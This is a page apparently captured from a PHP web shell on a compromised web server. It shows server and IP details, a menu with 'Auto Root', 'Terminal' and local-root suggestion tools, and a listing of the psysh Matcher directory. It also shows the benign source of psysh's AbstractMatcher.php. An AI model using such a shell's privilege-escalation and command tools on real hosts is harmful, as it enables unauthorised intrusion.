Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.143.221.185
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
psy /
psysh /
src /
TabCompletion /
Matcher /
Delete
Unzip
Name
Size
Permission
Date
Action
AbstractContextAwareMatcher.php
1.29
KB
-rw-r--r--
2018-10-13 09:00
AbstractDefaultParametersMatcher.php
2.03
KB
-rw-r--r--
2018-10-13 09:00
AbstractMatcher.php
4.84
KB
-rw-r--r--
2018-10-13 09:00
ClassAttributesMatcher.php
2.2
KB
-rw-r--r--
2018-10-13 09:00
ClassMethodDefaultParametersMatcher.php
1.6
KB
-rw-r--r--
2018-10-13 09:00
ClassMethodsMatcher.php
2.18
KB
-rw-r--r--
2018-10-13 09:00
ClassNamesMatcher.php
2.34
KB
-rw-r--r--
2018-10-13 09:00
CommandsMatcher.php
2.47
KB
-rw-r--r--
2018-10-13 09:00
ConstantsMatcher.php
1.32
KB
-rw-r--r--
2018-10-13 09:00
FunctionDefaultParametersMatcher.php
1.19
KB
-rw-r--r--
2018-10-13 09:00
FunctionsMatcher.php
1.37
KB
-rw-r--r--
2018-10-13 09:00
KeywordsMatcher.php
2.04
KB
-rw-r--r--
2018-10-13 09:00
MongoClientMatcher.php
1.76
KB
-rw-r--r--
2018-10-13 09:00
MongoDatabaseMatcher.php
1.64
KB
-rw-r--r--
2018-10-13 09:00
ObjectAttributesMatcher.php
1.88
KB
-rw-r--r--
2018-10-13 09:00
ObjectMethodDefaultParametersMatcher.php
1.74
KB
-rw-r--r--
2018-10-13 09:00
ObjectMethodsMatcher.php
2.02
KB
-rw-r--r--
2018-10-13 09:00
VariablesMatcher.php
1.22
KB
-rw-r--r--
2018-10-13 09:00
Save
Rename
<?php /* * This file is part of Psy Shell. * * (c) 2012-2018 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy\TabCompletion\Matcher; /** * Abstract tab completion Matcher. * * @author Marc Garcia <markcial@gmail.com> */ abstract class AbstractMatcher { /** Syntax types */ const CONSTANT_SYNTAX = '^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$'; const VAR_SYNTAX = '^\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$'; const MISC_OPERATORS = '+-*/^|&'; /** Token values */ const T_OPEN_TAG = 'T_OPEN_TAG'; const T_VARIABLE = 'T_VARIABLE'; const T_OBJECT_OPERATOR = 'T_OBJECT_OPERATOR'; const T_DOUBLE_COLON = 'T_DOUBLE_COLON'; const T_NEW = 'T_NEW'; const T_CLONE = 'T_CLONE'; const T_NS_SEPARATOR = 'T_NS_SEPARATOR'; const T_STRING = 'T_STRING'; const T_WHITESPACE = 'T_WHITESPACE'; const T_AND_EQUAL = 'T_AND_EQUAL'; const T_BOOLEAN_AND = 'T_BOOLEAN_AND'; const T_BOOLEAN_OR = 'T_BOOLEAN_OR'; const T_ENCAPSED_AND_WHITESPACE = 'T_ENCAPSED_AND_WHITESPACE'; const T_REQUIRE = 'T_REQUIRE'; const T_REQUIRE_ONCE = 'T_REQUIRE_ONCE'; const T_INCLUDE = 'T_INCLUDE'; const T_INCLUDE_ONCE = 'T_INCLUDE_ONCE'; /** * Check whether this matcher can provide completions for $tokens. * * @param array $tokens Tokenized readline input * * @return bool */ public function hasMatched(array $tokens) { return false; } /** * Get current readline input word. * * @param array $tokens Tokenized readline input (see token_get_all) * * @return string */ protected function getInput(array $tokens) { $var = ''; $firstToken = \array_pop($tokens); if (self::tokenIs($firstToken, self::T_STRING)) { $var = $firstToken[1]; } return $var; } /** * Get current namespace and class (if any) from readline input. * * @param array $tokens Tokenized readline input (see token_get_all) * * @return string */ protected function getNamespaceAndClass($tokens) { $class = ''; while (self::hasToken( [self::T_NS_SEPARATOR, self::T_STRING], $token = \array_pop($tokens) )) { if (self::needCompleteClass($token)) { continue; } $class = $token[1] . $class; } return $class; } /** * Provide tab completion matches for readline input. * * @param array $tokens information substracted with get_token_all * @param array $info readline_info object * * @return array The matches resulting from the query */ abstract public function getMatches(array $tokens, array $info = []); /** * Check whether $word starts with $prefix. * * @param string $prefix * @param string $word * * @return bool */ public static function startsWith($prefix, $word) { return \preg_match(\sprintf('#^%s#', $prefix), $word); } /** * Check whether $token matches a given syntax pattern. * * @param mixed $token A PHP token (see token_get_all) * @param string $syntax A syntax pattern (default: variable pattern) * * @return bool */ public static function hasSyntax($token, $syntax = self::VAR_SYNTAX) { if (!\is_array($token)) { return false; } $regexp = \sprintf('#%s#', $syntax); return (bool) \preg_match($regexp, $token[1]); } /** * Check whether $token type is $which. * * @param string $which A PHP token type * @param mixed $token A PHP token (see token_get_all) * * @return bool */ public static function tokenIs($token, $which) { if (!\is_array($token)) { return false; } return \token_name($token[0]) === $which; } /** * Check whether $token is an operator. * * @param mixed $token A PHP token (see token_get_all) * * @return bool */ public static function isOperator($token) { if (!\is_string($token)) { return false; } return \strpos(self::MISC_OPERATORS, $token) !== false; } public static function needCompleteClass($token) { return \in_array($token[1], ['doc', 'ls', 'show']); } /** * Check whether $token type is present in $coll. * * @param array $coll A list of token types * @param mixed $token A PHP token (see token_get_all) * * @return bool */ public static function hasToken(array $coll, $token) { if (!\is_array($token)) { return false; } return \in_array(\token_name($token[0]), $coll); } }